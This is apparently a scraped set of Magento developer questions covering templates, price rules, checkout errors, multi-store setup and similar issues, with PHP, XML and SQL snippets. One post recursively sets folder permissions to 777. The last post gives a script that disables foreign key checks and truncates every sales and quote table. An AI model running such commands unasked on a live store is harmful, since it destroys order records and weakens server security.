texts: I have a huge list of products ( simple products) that all have a unique attachment. It is possible to add them manually and manage them with a plugin, but I was wondering if there is a more efficient and faster way to link all files to their corresponding product.


texts: Magento 2 Static Blocks dont show up on category pages

texts:
I'm trying to add static blocks on Category Pages and all category pages have different content. So, I add Blocks to the Backend

  Category Page > Content > Add CMS Block

then,

  Display Settings > Static Block Only

In some Category, i am able to see the blocks but in some, it doesn't show no matter what the settings are. I'm unable to verify the problem.

For e.g - I made 2 blocks for Categories X and Y. Selected appropriate blocks for both. Block shows up in X but not on Y. All the settings are same. Even same blocks doesn't work


texts: Product names looks different from frondend and backend

texts:
I have the product name with html tags so written simple script to updated the product name below code i have used for update.

Mage::app();
$product_collection = Mage::getModel("catalog/product")->getCollection();
$product_collection->addAttributeToSelect('*');

foreach ($product_collection as $product) {
   $sku = $product->getSku();

   $simple_product = '';
   $simple_product = Mage::getModel('catalog/product')->loadByAttribute('sku', $sku);
   if($simple_product != ''){

      $name = $simple_product->getName();
      if($name != strip_tags($name)) {
          $simple_product->setName(strip_tags($name));
          $simple_product->save();
      }
   }
}

after that i did the reindex by shall command and cleared the cache.

Now my product names are clear without html tag in frond end like (product list , product view ,search ) all pages looks good. But when i go to admin panel

  catalog->Manage Products

I have a product name with html tag so i am bit confusing here so please kindly clarify what's going on here. Also let me know wh


texts: custom config for module - not store config

texts:
If I want to add a custom configuration node in my modules config.xml, how would I go about this and how to retrieve the values?

I do not want store configuration, just a node in my modules configuration file where I can put some variables that my module needs.

Also is there any best practices for doing this?


texts:
I am busy translating several strings on my webshop, and I encountered this string:

You subscribe to "General Subscription".

How do I translate this string? I tried this:

"You subscribe to "General Subscription".","U staat ingeschreven voor de standaard nieuwsbrief inschrijving.","module","Magento_Customer"

But that doesn't work...


texts: Wrong Product URL when found via category on M2

texts:
I am using Magento version 2.3.1 EE and I observed that some of the product page URL's are coming wrong when found via category even if the URL rewrites are created in the Magento admin. It is happening only for few products in the category, rest all products are working fine.
URL coming when found via category https://staging.tradingdepot.co.uk/catalog/product/view/id/74012/s/merlyn-8-series-walk-in-with-swivel-panel-with-end-panel-900mm-m80291sv/category/4490/
Actual URL should be
https://staging.tradingdepot.co.uk/merlyn-8-series-walk-in-with-swivel-panel-with-end-panel-900mm-m80291sv
URL rewrite is created for this product and no duplicate URL rewrite is created. Also we have tried creating URL rewrite through olegkoval/magento2-regenerate_url_rewrites but still it picks the wrong URL  and when we change the URL key of product and then save the product. In that case product URL gets corrected and new URL starts showing which is the correct URL.
Please help me out with this probelm.


texts: Catalogue Price Rules not working properly for different customer groups

texts: I am trying to apply catalogue price rule for a different customer group, It's working fine for "general" customer group but when I changed it to different customer group then the discount is not applied to products.


texts: Get product id only from load order condition

texts:
I am working on order collection module. I want only product id after load particular order. This is my query,

$ordered_items = Mage::getModel('sales/order')->loadByIncrementId($incrment_id);

Is there any function which gives only product id only. Not a big array of data.


texts: how can i create desktop version change button?

texts: We chose the responsive theme for our homepage. I was wondering if with the responsive theme, could we make it so that you can get to the desktop version from the mobile one by just pressing a button?


texts: Changing the display of custom product price to show 4 decimal places

texts:
My company is using an extension to create a custom product which is unique in that the pricing goes out 4 decimal places. There was a whole lot that went into this prior to me getting involved, but all this is in place already and working.

The problem I'm dealing with today is that the price is automatically rounding on the front end, and I want to change it so that it shows the pricing with all 4 decimal places so that people know the actual price of the item when viewing the product.

Here is my plan to do this:

Extend the class Magento\Framework\Pricing\Render\Amount and add a function that will output the price with 4 decimal places, without effecting any other functionality.
Create a new template that uses the new class, and keep it the same except the price display, which will use the new function to display the full price.
Use xml file to replace the default price display with this template

Is this the correct way to do this? I don't expect a full tutorial, of course, so I just want to know if I'm at least at a good starting point... although any other helpful advice would be appreciated.

Running Magento 2.1.2


texts: how to call phtml file in email template in magento2

texts:
I need to pass the phtml file into email template. but I'm getting error like

  Error filtering template: Invalid template file: 'Vendor_Module::emailproducts.phtml' in module: '' block's name: 'magento\framework\view\element\template_0'

I used below code in email template.

{{block class="Magento\Framework\View\Element\Template" name="email_template" area='frontend' template="Vendor_Module::emailproducts.phtml"}}

Thanks in advance.


texts:
I try to upgrade 2.1.9 to 2.2.4
but got this error on site:

  Fatal error: Uncaught Error: Cannot instantiate interface
  Magento\Framework\Serialize\SerializerInterface in
  vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php


texts: I am getting an error when i run setup:di:compile

texts:
I am getting an error when i run the command setup:di:compile.

Even my requirejs-config file 2 is not getting deployed.

Can any one help me with this


texts: how to get post data in Magento Model File - Magento 2x

texts:
I want to get POST data in Model file, Which is my custom file of AccountManagement

/app/code/[Vendor]/[Module]/Model/AccountManagement.php

  Note:

I can access it through $_POST, 'superglobal'  variable but i don't wanna use it that way, Because it's not valid for Magento standard.

Because Magento use to featch POST and REQUEST data using this method in Controller.

$this->postData = $this->getRequest()->getPostValue();

But i am not able to use same method in Model file.

So anyone have any idea to fetch POST data in Model file IN Magento 2x, As per Magento Standard


texts: How to create an attribute whch has to be selected by user on view page

texts:
Story:

I have to create a attribute with list of medium to send a product(Courier, eMail, cargo). Some products will have all the three and some will have only two of them. That will be decided while adding a product. So if admin select courier and email for product, in product view page the both have to be displayed in dropdown. Please not the this mode medium is product specific.

What i tried:

I have created an attribute and set values as below image:

Then in \rwd\default\template\catalog\product\view.phtml,i added below lines:

<?php print_r($_product->getAttributeText('card_delivery_medium')); ?>

Result:

It shows the attribute like below

But the values are not showing the values selected while adding a product. For this product I selected only Prepaid and email.

Can you suggest whats my mistake.


texts: Magento 2: Checkout page sidebar summary – display item size

texts:
In Magento_2_Installation/vendor/magento/module-checkout/view/frontend/web/template/summary/item/details.html, data-bindings (via the knockout js files) places the name and qty of the item to be displayed in the Sidebar Summary.
How would I also pull in the size of the item to be displayed along with the name and qty using data-binding?

For reference, I've included the file: Magento_2_Installation/vendor/magento/module-checkout/view/frontend/web/template/summary/item/details.html


texts: Knockout js won't call in custom template admin UI component form

texts:
I have call custom template file in UI component and try to call knockout js in custom template but it won't call, I have built it like this. Please let me know if anyone has an idea.

  Feed/view/adminhtml/templates/feedimages/file.phtml

Emipro Knockout template call here..

  jsfile.js

    define(['ko'], function(ko) {
        return function(config) {
            this.message = ko.observable(config.exampleMessage);
        }
    });


texts: Display multiple currency for multiple stores

texts:
we have 2 different stores in our site.

for one  store we have to display currency symbol as "Rs" [Indian Rupee]

we followed as below image. its working.

for another store we need to display currency symbol as "$" [ US DOllar ]

but its not working. Is it require any code changes or extension.

or will it work only if i use multiple websites instead of multiple stores ?


texts: Migration from magento 1.9.2.4 to magento 2.1.2 unable to get product view page

texts:
I would like to migrate the magento 1.9.2.4 to magento 2.1.2 i got the attributes and products and categories etc.. but i am unable to view product page (showing blank page) in the front end page, as well as from the admin side also i am facing the same issue as shown in the below screenshot. could you please help me how to fix this.

I am getting an error like exception file lo error msg:

> [2017-01-17 06:47:42] main.CRITICAL: exception
> 'Magento\Framework\Exception\FileSystemException' with message 'Cannot
> read contents from file
> "/var/www/magentojt/pub/static/adminhtml/Magento/backend/en_AU/mage/requirejs/mixins.js"
> Warning!file_get_contents(/var/www/magentojt/pub/static/adminhtml/Magento/backend/en_AU/mage/requirejs/mixins.js):
> failed to open stream: No such file or directory' in
> /var/www/magentojt/vendor/magento/framework/Filesystem/Driver/File.php:149


texts:
I have following error message after reindex rewrites:

  SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry
  '95600000_1410688544-0-2' for key 3

How can I find this product?
What is: 95600000_1410688544-0-2?
And what is: for key 3?


texts: How to set phtml file in specific area Magento 1.9 using an Observer

texts:
I'm trying to set/ display a template file instead of the default messaging in Magento 1.9 using an Observer when the checkout loads but I cannot get the phtml file to show up and I don't know why??
Here is the event that I am observing:
    <events>
        <controller_action_postdispatch_checkout_cart_index>
            <observers>
                <event_handler>
                    <type>singleton</type>
                    <class>my_module/observer</class>
                    <method>myCustomMethod</method>
                </event_handler>
            </observers>
        </controller_action_postdispatch_checkout_cart_index>
    </events>

Next in the Observer I would like to add a phtml file using layout update xml so I have them defined in my module folder:
<custom_module_template>
    <reference name="content">
        <block type="core/template" name="global_messages" template="custom/module/template.phtml" />
    </reference>
</custom_module_template>

In my Observer I call:
Mage::getSingleton('core/layout')->getUpdate()->addHandle('custom_module_template');

And I can see the handler is added but nothing is being show on the page. I'm trying to add this template file in the same area as the global_messages block would be.
Am I using the correct apporach?


texts: Bundle and configurable products keep going out of stock on the front end

texts:
I'm having an issue with bundles and configurables that cropped up in the last two months in Magento 1.7.0.2.  It seems like it happened around the time I installed an extension, but it has since been removed.  The problem still persists.  These same items worked perfectly before this.

Bundle and configurable products are showing out of stock on the front end at a random time after re-indexing.  They have in stock selected, and they're enabled with associated products that are in stock, so they should show as "In Stock" on the front end.  Turning off inventory management for this store isn't an option for us.

Doing some digging, it seems to be only isSalable() that's returning false.  Since this function is derived, I'm unsure why this is the case with bundles and configurables.  Those two product types should be using their own isSalable functions but it feels like it's returning isSalable for simple products.  I got this info from where does is_salable come from?

In my debugging, Magento seems to only be calling Mage_Catalog_Model_Product_Type_Abstract::isSalable() for all 3 product types.

Here's a script that returns some testing with a few product ids, all different types.  All of these should be in stock and able to be sold.  I'm calling getIsInStock() for the first line and isSaleable() for the second line.

Bundle Product
getIsInStock: 300 is in stock
isSaleable: 300 is not saleable

Simple Product
getIsInStock: 331 is in stock
isSaleable: 331 is saleable

Configurable Product
getIsInStock: 127 is in stock
isSaleable: 127 is not saleable

If I re-index Magento the bundles and configurables will show in stock for a short time.


texts: (Magento\Framework\Config\Dom\ValidationException):Element 'head': Character content other than whitespace is not allowed

texts:
Can anyone help me, I'm having this error, right after adding a folder in magento root

Magento/->app/->/code/-> Bag(Mycustom) .. mgento232

  The message that appears is : 1 exception(s): Exception #0
  (Magento\Framework\Config\Dom\ValidationException): Element 'head':
  Character content other than whitespace is not allowed because the
  content type is 'element-only'. Line: 752

.... Can help me pLEASE

Is magento 2.3.2


texts:
Is there any way to show any message for disable product at product details page?

When i search product name in google, it gives product URL in search result.

When product is disable at that time it gives 404 page not found, so i want to show disable message for that disable product instead of 404 page not found.


texts: Change template for 2columns-left.phtml on Fishpig Wordpress pages

texts:
I'm trying to change the template used by fishpig to use a custom wp-2columns-left.phtml template.

I've tried updating my theme's local.xml file with:

<wordpress_default>
    <reference name="root">
          <action method="setTemplate"><template>page/wp-2columns-left.phtml</template></action>
    </reference>
</wordpress_default>

I've also tried amending the wordpress.xml to use the same template but it doesn't work either.

I thought that maybe the wordpress_default layout handle was incorrect but I tested it by removing some js from the head and found it worked.

<wordpress_default>
    <reference name="head">
        <action method="removeItem"><type>js</type><script>fishpig/wordpress/search.js</script></action>
    </reference>
</wordpress_default>

Am I missing something?  Could something else be overwriting this layout xml?  In my theme only wordpress.xml & local.xml are using the wordpress_default handle.

I'm using the ultimo magento theme and the cache is disabled.


texts: Magento fails to create logfiles after installing patch SUPEE-11086

texts:
I noticed that magento does not create any new logfiles after installing SUPEE-11086.

I tried it like this: Mage::log('test', null, 'test123.log', true);

I tried to debug the static log function in app/Mage.php and figured out that the code enters the return here:

if (!$logValidator->isValid($logDir . DS . $file)) {
    return;
}

This is a comparism of the code before the patch and after it:

I even changed permissions of the whole var folder to 777 recursively with chmod -R 777 var/

Did anyone noticed this behaviour and found a solution yet?


texts: Hardcoded link stuck in navigation magento

texts:
I can't find the exact code I used, all I know is I put some code in a cms block and also wrote the link to the block in top.phtml and topmenu.phtml in both rwd and base.

I've gone through all these files and deleted the link, also deleted the cms block but the link is still there!

Can you guy's help? maybe take a look at the site? its the little "blog" link stuck under the top navigation menu!

https://www.eurgold.eu

Thanks in advance!


texts: Above the fold + minify, once and for all

texts:
I am building Lorem with my cool team, and my main pet peeve is slow websites. Before starting Lorem, I worked hard on making my clients Magento site as fast as possible.

Mission accomplished somewhat. The backend is fast, but what bothers me are those many JS and CSS files. I know there are extensions that can minify etc, but that happens every time the site loads.
Isn't there a way to do this once?

Could I do it by hand via something like criticalCSS, then make sure Magento doesn't load other CSS and JS files?

For reference, my clients site is: kunstnernes.com


texts: Close modal popup gracefully in magento2

texts:
I am using Magento modal popup for various functionalities in checkout.
I am working on an address validation module which fetches the corrected address from USPS API and displays the corrected address as an option in the popup. Now when the user selects the address and clicks on a button which changes the user address and closes the popup, I get the following error.

Uncaught TypeError: Cannot read property 'remove' of null
    at $.(anonymous function).(anonymous function)._destroyOverlay

This only happens when I close the popup and navigate to the next step at the same time.

But when I close the popup from the close button given by default on the popup, it does not give any error.


texts: Disable flush image cache button in the backend in magento2

texts:
Go to Admin > System > Cache Management

I want to disable flush image cache button in backend given Which is highlighted in bellow image for security purpose.

Can anyone give me solution.

Thanks.


texts: How to add my code in reorder action using my custom module

texts:
I want to add my code in reorder action using my custom module.

I want to do this because I am  using this event checkout_cart_product_add_after to set custom option and price but when I reorder that order that time price and custom option is not set as last order.

Is that correct way to set that option and price ?


texts: Multi store magento redirects to main store

texts:
I need to create create another store, I am following the instructions on the Wiki magento but I can not work.

my problem is that when you enter the second store redirects me to the main store

eg. subdomain.mydomain.com
when I enter redirects me to mydomain.com

I also tried to create folder using just the second store, the url is displayed like mydomain.com/store2

but it shows me the home page of my main store

Files:

index.php

Last lines

/* Store or website code */
$mageRunCode = isset($_SERVER['MAGE_RUN_CODE']) ? $_SERVER['MAGE_RUN_CODE'] : 'knksvip';

/* Run store or run website */
$mageRunType = isset($_SERVER['MAGE_RUN_TYPE']) ? $_SERVER['MAGE_RUN_TYPE'] : 'website';

Mage::run($mageRunCode, $mageRunType);

.htaccess

RewriteCond %{HTTP_HOST} ^(.*)subdomain.mydomain.com
RewriteRule ^ - [E=MAGE_RUN_CODE:knksvip]

in store view Base URL Changed to

http://subdomain.mydomain.com/


texts: Missing Rating collection after altering query

texts:
In the review list I've altered the sort based on a custom table.

in app/design/frontend/rwd/theme/template/review/product/view/list.phtml

I've altered

$_items = $this->getReviewsCollection()->getItems();

Into

/** @var Mage_Review_Model_Resource_Review_Collection $collection */
$collection = $this->getReviewsCollection();
$collection->clear();
$collection->getSelect()->joinLeft( array('featured'=>'review_featured'), 'main_table.review_id = featured.review_id', array('featured.featured_number'));
$collection->getSelect()->reset(Zend_Db_Select::ORDER);
$collection->getSelect()->order('featured.featured_number DESC');
$_items = $collection->getItems();

But now the rationg collection is null

/* @var Mage_Rating_Model_Resource_Rating_Option_Vote_Collection $_votes */
$_votes = $_review->getRatingVotes();

How Do I alter the query and keep my collection?


texts: Invalid template file override Magento 2 block

texts:
I want to overrid magento 2 address_book block, but I got an error like this:

  Invalid template file: 'address/book.phtml' in module: 'Namespace_Module' block's name: 'address_book'

di.xml:

<?xml version="1.0" ?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <preference for="Magento\Customer\Block\Address\Book" type="Namespace\Module\Block\Address\Book"/>
</config>

  Namespace\Module\Block\Address\Book.php :

namespace Lime\Courier\Block\Address;

use Magento\Customer\Api\AddressRepositoryInterface;
use Magento\Customer\Api\CustomerRepositoryInterface;
use Magento\Customer\Model\Address\Mapper;

class Book extends \Magento\Customer\Block\Address\Book
{
    public function __construct(
        \Magento\Framework\View\Element\Template\Context $context,
        CustomerRepositoryInterface $customerRepository,
        AddressRepositoryInterface $addressRepository,
        \Magento\Customer\Helper\Session\CurrentCustomer $currentCustomer,
        \Magento\Customer\Model\Address\Config $addressConfig,
        Mapper $addressMapper,
        array $data = []
    ) {
        $this->customerRepository = $customerRepository;
        $this->currentCustomer = $currentCustomer;
        $this->addressRepository = $addressRepository;
        $this->_addressConfig = $addressConfig;
        $this->addressMapper = $addressMapper;
        parent::__construct($context, $customerRepository,$addressRepository,$currentCustomer,$addressConfig,$addressMapper, $data);
      }

      public function getAddressHtml(\Magento\Customer\Api\Data\AddressInterface $address = null)
      {
          if ($address !== null) {
              /** @var \Magento\Customer\Block\Address\Renderer\RendererInterface $renderer */
              $renderer = $this->_addressConfig->getFormatByCode('html')->getRenderer();
              return $renderer->renderArray($this->addressMapper->toFlatArray($address));
          }
          return '';
      }

}

I think the problem is they search for template file in my module, but I just need to override the block file not the phtml file


texts: Place order: Error processing your order, please try again later

texts:
I need help when I click on place order I have this popup "Error processing your order, please try again later."
I don't know why I'm using a module onepagecheckout

This var system.log & console.log & my interface.

Thank you In advance.


texts: Where is the code for the "Proceed To Checkout" located?

texts:
I am learning Magento 1.9.

I would like to see and learn from the the code of the "Proceed to checkout" button.

In which template is this code located?


texts: magento 2 get empty post array in version 2.0.5

texts:
I tried every possible thing get when I using the get method it works fine but post does not send any value.
  using this in my controller.

$post = $this->getRequest()->getPostValue();

but got a empty array.
form content

$controller_path = $block->getUrl('module name/activate');
           <form method="post" id="form1" name="form1"  action="<?php echo $controller_path;?>" >

Please confirm your email address:
                <input type="email" placeholder="Admin email address" style =" margin-left:5px;" size="30"  name="email" />
                <input type="submit" name="submit" class="button" style ="margin-left:2px;background: #14497f none repeat scroll 0% 0%;border-color: #14497f;color: #FFF;" value="Proceed to the final step">


texts: Boolean product attribute are not visible on Magento 2

texts:
I am working on a Magento 2 website. I found that the boolean product attributes are not visible on the extra specifications tab on the product page. After a while, I ended up on the official github of Magento with this issue: https://github.com/magento/magento2/pull/8623

Based on that, it should have been fixed. In my case, it hasn't. So, I tried to apply the fix myself.

I went to

vendor\magento\magento-catalog\block\product\view\attributes.php

and changed the line 89 from:

if (is_string($value) && strlen($value)) {

to

if ($value instanceof Phrase || (is_string($value) && strlen($value))) {

Then I ran an upgrade on console: ./bin/magento setup:upgrade

But I still have the problem. Anyone was able to solve it?

P.S. Magento CE 2.1.6


texts: Why the same simple product with the same amount added twice into sales_flat_order_item table!

texts:
Sales Flat order Item table :
Magento Order View Products Block :
An other one, this time with 3 SAME SIMPLE ROWS:
I recently had two orders which I see the exact same simple product created twice with the same amounts in the sales_flat_order_item table. But this causes a complication like the calculation of supply needs. Since the ordered items and their amounts are gathered from this table, it counts the simple product supply need as 4 instead of 2 cause of this duplication. As you know the parent Configurable is also added in that table and it is added only once. Just after the config there is the first simple product with ordered_qty 2 and other products in between and at the end the same simple again with the same parent_item_id pointing the configurable in the table.

I checked the createOrder function there is nothing in there, it was never edited already. And this occurs only with one simple product so far. With all the other products I dont have any problems like this.

If there is any body who had the same issue please guide me to the correct solution.

Cheers


texts: Prepend the increment-ID(orderId) with the value(string) stored in magento 2.2

texts: How to write a code for to prepend increment-ID(orderId) number with the values(string) which is stored in magento2.2


texts: How to remove the tax on cart when tax setting is set to display catalog prices including tax

texts:
I am Stuck in very weird situation where I want to remove the tax that is displayed in the cart when tax setting is set to display catalog prices including tax.
I tried to remove this by setting taxclassID to 0 but didnot get any result please help me.


texts: Where, why and how are we using Data Providers in Magento 2

texts:
Explain how to use Data Provider, situations and requirements.
Tips and advices will be a plus.


texts:
I running the following code

  class MyOrders extends AbstractCollection implements MyOrdersInterface{

public function _construct(){
    $this->_init('\Magento\Sales\Model\Order', 'Magento\Sales\Model\ResourceModel\Order');
}

/**
* @api
* @param int $customerId
* @return array
*/
  public function getOrders($customerId){
    //if (!$this->orders) {
        $orders = $this->create()->addFieldToSelect(
            '*'
        )->addFieldToFilter(
            'customer_id',
            $customerId
        )->setOrder(
            'created_at',
            'desc'
        );
    //}
    //$ordersCollection = $this->addAttributeToFilter("customer_id", $customerId)->load();

    $a=array($orders);
    return $a;
}
}

but xampp error log gives me the following error

PHP Fatal error:  Allowed memory size of 792723456 bytes exhausted (tried to
allocate 387989504 bytes) in C:\\xampp\\htdocs\\yourParts\\app\\code\\Magento\\Eav\\Model\\Entity\\Collection\\AbstractCollection.php on line 246

I've changed memory_limit = -1 in php.ini but it doesn't work


texts: Efficient method to load/get and assign multiple custom options/attributes from quote item?

texts:
Is there a more efficient way to load and assign quote item custom options/attributes?

This is code in my Observer:

public function MyFunction(Varien_Event_Observer $observer) {
$QuoteObject = Mage::getSingleton('checkout/session')->getQuote();
        foreach ($QuoteObject->getAllVisibleItems() as $item) {
            $custom_attr1 = $item->getData('custom1');
            $custom_attr2 = $item->getData('custom2');
            $custom_attr3 = $item->getData('custom3');
            $custom_attr4 = $item->getData('custom4');
            $custom_attr5 = $item->getData('custom5');
           //do other stuff here
        }
  //do some other stuff here
}


texts: How to get a unique code in a module for installation?

texts:
I have the need of the installed module has a single reference to query a webservice that returns the records of your reference.

I have this reference currently saved in a database table working properly, but I think unnecessary only 1 record in the table to contain the reference.

I was wondering if there are other ways to save this reference on Magento, per file, or some table of database of Magento, so I can delete this table with a single record.


texts: Container not showing up in widget layout options

texts:
I am using the Aheadworks Blog layout and added my own container to it but somehow it doesn't show up in the widget layout options. I have tried adding it in the Magento_Theme layout/default.xml and it does work there.
Specific info:

The container (Blog Related Posts) doesn't show up in the lay-out update part of creating a widget.

app/design/Vendor/Theme/Aheadworks_Blog/layout/aw_blog_post_view.xml:
<?xml version="1.0"?><page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
<head>
    <remove src="Aheadworks_Blog::css/styles.css"/>
    <remove src="Aheadworks_Blog::css/slider.css"/>
</head>
<body>
    <referenceContainer name="columns" htmlClass="columns row mt-05">
        <container name="blog.related.posts" htmlTag="section"
                   htmlClass="col-12 blogs py-3 py-md-4 order-lg-3" after="-" label="Blog Related Posts">
        </container>
    </referenceContainer>
    <referenceContainer name="div.sidebar.wrapper" htmlClass="col-lg-3 d-none d-lg-block"/>
</body>


texts: How can I prevent styles-l.css loading for mobile only?

texts:
I'm trying to clean up some of our over stuffed css and js. Chrome inspector shows that styles-l.css is 100% unused for mobile and is used a little for desktop. I used 'remove' in the default_head_blocks.xml for the mobile theme and achieved the results I hoped for, no longer loaded for mobile and desktop unaffected.
It later crossed my mind that I hadn't tested at tablet resolution. It appears tablet resolution uses the mobile theme but also uses some styles from styles-l.css. It looked a mess on ipad. This was quite disappointing. Can anyone suggest a method of applying styles-l.css to desktop AND tablet but not to mobile please?
If anyone is kind enough to reply, please bear in mind that I'm not a programmer or developer, admin is the safe limit of my knowledge. I dabble in configuration and installation but continue to be baffled by Magento 2 styles pre processing and which files need to be changed to alter styles prior to deployment.
Thanks..


texts: Magento Emails are not going through gmail and hotmail on (sendmail, nginx, varnish, phpfpm 7.o)

texts: Facing issue with the emails. emails are not going through gmail and hotmail but it's working for the business domains of Google G suite app. I'm using Sendmail function on nginx and even tried with postfix too with no help yet.


texts: M2: Payment captured - order not in Magento (paypal, cybersource)

texts:
I have some payments captured but cannot find the related orders in Magento.

This happens with both, paypal and cybersource payments.

I can personally reproduce it by placing a payment and interrupting the redirect back to Magento by closing the browser.

Obviously, this situation is not bearable - neither from a customer's, nor from the business's perspective. What can I do to solve it?


texts: Magento Paypal "Unable to initialize Express Checkout."

texts:
I go through the payment checkout procedure and get to the PayPal website and I sign in with an account click “Pay” and PayPal takes me back to the Magento shopping cart. after selecting the order button i get  an error “Unable to initialize Express Checkout.” What does that mean and how i can fix this?

Thank you for your help!


texts:
I am trying to set up a multi-store in Magento 2 using localhost, followed this two tutorials but not working. Can anyone please explain step by step?

Tutorial 1
Tutorial 2


texts: How to move product_list_toolbar magento 2?

texts:
I want to move toolbar above column. I am using this code:

<move element="product_list_toolbar" destination="columns.top" before="-" />

I am getting the getSize() error:

Fatal error: Uncaught Error: Call to a member function getSize() on null in /app/design/frontend/Digital/theme/Magento_Catalog/templates/product/list/toolbar.phtml:18


texts: What's the purpose of the mview_state table in the database?

texts:
I saw the numbers increasing in the mview_state table in the database and there is no cleanup.

So I wonder what's the purpose of this table and the values that we have there?


texts: Is there any method to get cart details inside a plugin feature in Magento 2

texts:
How can I get cart products in a custom module plugin in magento 2 on before-save shipping info hear already i'm taking the customer address its working fine like this i need to get the cart products also

  /app/code/Sem/Shipment/Plugin/Checkout/Model/ShippingInformationManagement.php

         <?php

namespace Sem\Shipment\Plugin\Checkout\Model;
use Magento\Framework\Exception\StateException;
use Magento\Checkout\Model\Session;

class ShippingInformationManagement
{

    protected $_messageManager;
    protected $jsonResultFactory;
    protected $_quote;

    public function __construct(
        \Magento\Framework\App\Action\Context $context,
        \Magento\Framework\Controller\Result\JsonFactory $jsonResultFactory,
        \Magento\Framework\Message\ManagerInterface $messageManager,
        \Magento\Framework\Controller\Result\JsonFactory $resultJsonFactory,
        \Magento\Quote\Model\QuoteFactory $quoteFactory
    ) {
        $this->_messageManager = $messageManager;
        $this->jsonResultFactory = $jsonResultFactory;
          $this->_quote= $quoteFactory;
    }

    public function beforeSaveAddressInformation(
        \Magento\Checkout\Model\ShippingInformationManagement $subject,
        $cartId,
        \Magento\Checkout\Api\Data\ShippingInformationInterface $addressInformation

    )
    {

     $cart = $this->_quote->create()->get($cartId);
    $items = $cart->getAllVisibleItems();
    $resulta = [];
    if (count($items) > 0){
        foreach ($items as $item)
            $resulta[] = $item->getName();
    }
    //print_r($resulta);
    $address = $addressInformation->getShippingAddress();
    $postcode = $address->getData('postcode');
    $objectManager =   \Magento\Framework\App\ObjectManager::getInstance();
    $result = $this->jsonResultFactory->create();
    throw new StateException(__($resulta[0]));
}
}


texts: Order detail page says "Customer not notified" for orders placed using PayPal

texts:
If a customer pays by creditcard (Authorize.net) a comment in the order detail page says

  Customer Notified

If a customer pays via PayPal the comment on order detail page says

  Customer Not Notified

First I thought there is an issue with the order confirmation email (that it does not get send for PayPal orders) but the 'email_sent' attribute in the sales_flat_order table will be set for both (value = 1), no matter if CC or PayPal was used. So the email did get send.

I can confirm that this happens in Mage_Sales_Model_Order::sendNewOrderEmail(). But where does the comment will be added? I would like to have Magento add the same comment for PayPal. Thanks for any help.


texts: How to display image uploaded in frontend edit form?

texts: I added attribute "my_image" to customer, and I uploaded the images, but I can't display it in frontend edit form. Please help me. Thanks!


texts: Magento 2: Export Order Shipping Address As Separate Fields

texts:
When I export orders as a csv file from Magento 2 admin, the shipping address is exported as a single field in the csv file, i.e. there is a column called "shipping address" with the entire address in one field.

In order to import the info into a shipping/label printing app, I would like to export the address from Magento as separate fields, so "street address 1", "street address 2", "city", "region", Postcode" each as separate columns in the csv file.

Anyone know how to do that?


texts: Magento 2.1, Customer-Login - User stay Logged In

texts: Users "Stay Logged In" in Magento 2.1, they should never be automatically Logged Out. Manual Log Out only.


texts: select not null column collection query syntax in Magento2.2.0

texts:
This is my query, I want to execute in Magento2 function I have read some collection syntax of Magento2 but get confuse, can any one please write it in collection query syntax?

Thanks!!!

select * from catalog_product_flat_19 where image IS NOT NULL

I want to define this query in below function :

 protected function _getAllProductProductCollection()
    {
     $collection = $this->productCollectionFactory->create();
     $collection->setVisibility($this->catalogProductVisibility->getVisibleInCatalogIds());

     $collection = $this->_addProductAttributesAndPrices($collection)
            ->addStoreFilter()
            ->setPageSize($this->getPageSize())
            ->setCurPage($this->getRequest()->getParam(self::PAGE_VAR_NAME, 1));

        $conditions = $this->getConditions();
        $conditions->collectValidatedAttributes($collection);
        $this->sqlBuilder->attachConditionToCollection($collection, $conditions);

        return $collection;
    }


texts:
I've been trying to integrate offbeat theme into magento. It seems that offbeat theme is compatible with WPML, WooCommerce 2.1.x and Bootstrap 3. So can anybody give me ideas about integrating wordpress theme into magento? I tried wpthemeintegration, but couldn't figure out about how to use that extension.
Help me out.


texts: The method getTtrackOrderUrl in order history page is depricated?

texts:
In template All Files

  ../app/design/frontend/default/default/template/sales/order/history.phtml

exist string

<?php /*|<a href="<?php echo $this->getTrackUrl($_order) ?>"><?php echo $this->__('Track Order') ?>&nbsp;*/ ?>

method in block

  Mage_Sales_Block_Order_History

there code

public function getTrackUrl($order)
{
    return $this->getUrl('*/*/track', array('order_id' => $order->getId()));
}

but in controller

  Mage_Sales_OrderController

action named trackAction() is not exist

Anybody know why method to get Url exist but action does not exist?


texts:
I want to delete all order from magento 2.2.5
i used that code but it didnt work... any advice?

    SET FOREIGN_KEY_CHECKS=0;

# Clean order history
TRUNCATE TABLE `sales_bestsellers_aggregated_daily`;
TRUNCATE TABLE `sales_bestsellers_aggregated_monthly`;
TRUNCATE TABLE `sales_bestsellers_aggregated_yearly`;

# Clean order infos
TRUNCATE TABLE `sales_creditmemo`;
TRUNCATE TABLE `sales_creditmemo_comment`;
TRUNCATE TABLE `sales_creditmemo_grid`;
TRUNCATE TABLE `sales_creditmemo_item`;
TRUNCATE TABLE `sales_invoice`;
TRUNCATE TABLE `sales_invoiced_aggregated`;
TRUNCATE TABLE `sales_invoiced_aggregated_order`;
TRUNCATE TABLE `sales_invoice_comment`;
TRUNCATE TABLE `sales_invoice_grid`;
TRUNCATE TABLE `sales_invoice_item`;
TRUNCATE TABLE `sales_order`;
TRUNCATE TABLE `sales_order_address`;
TRUNCATE TABLE `sales_order_aggregated_created`;
TRUNCATE TABLE `sales_order_aggregated_updated`;
TRUNCATE TABLE `sales_order_grid`;
TRUNCATE TABLE `sales_order_item`;
TRUNCATE TABLE `sales_order_payment`;
TRUNCATE TABLE `sales_order_status_history`;
TRUNCATE TABLE `sales_order_tax`;
TRUNCATE TABLE `sales_order_tax_item`;
TRUNCATE TABLE `sales_payment_transaction`;
TRUNCATE TABLE `sales_refunded_aggregated`;
TRUNCATE TABLE `sales_refunded_aggregated_order`;
TRUNCATE TABLE `sales_shipment`;
TRUNCATE TABLE `sales_shipment_comment`;
TRUNCATE TABLE `sales_shipment_grid`;
TRUNCATE TABLE `sales_shipment_item`;
TRUNCATE TABLE `sales_shipment_track`;
TRUNCATE TABLE `sales_shipping_aggregated`;
TRUNCATE TABLE `sales_shipping_aggregated_order`;

# Clean cart infos
TRUNCATE TABLE `quote`;
TRUNCATE TABLE `quote_address`;
TRUNCATE TABLE `quote_address_item`;
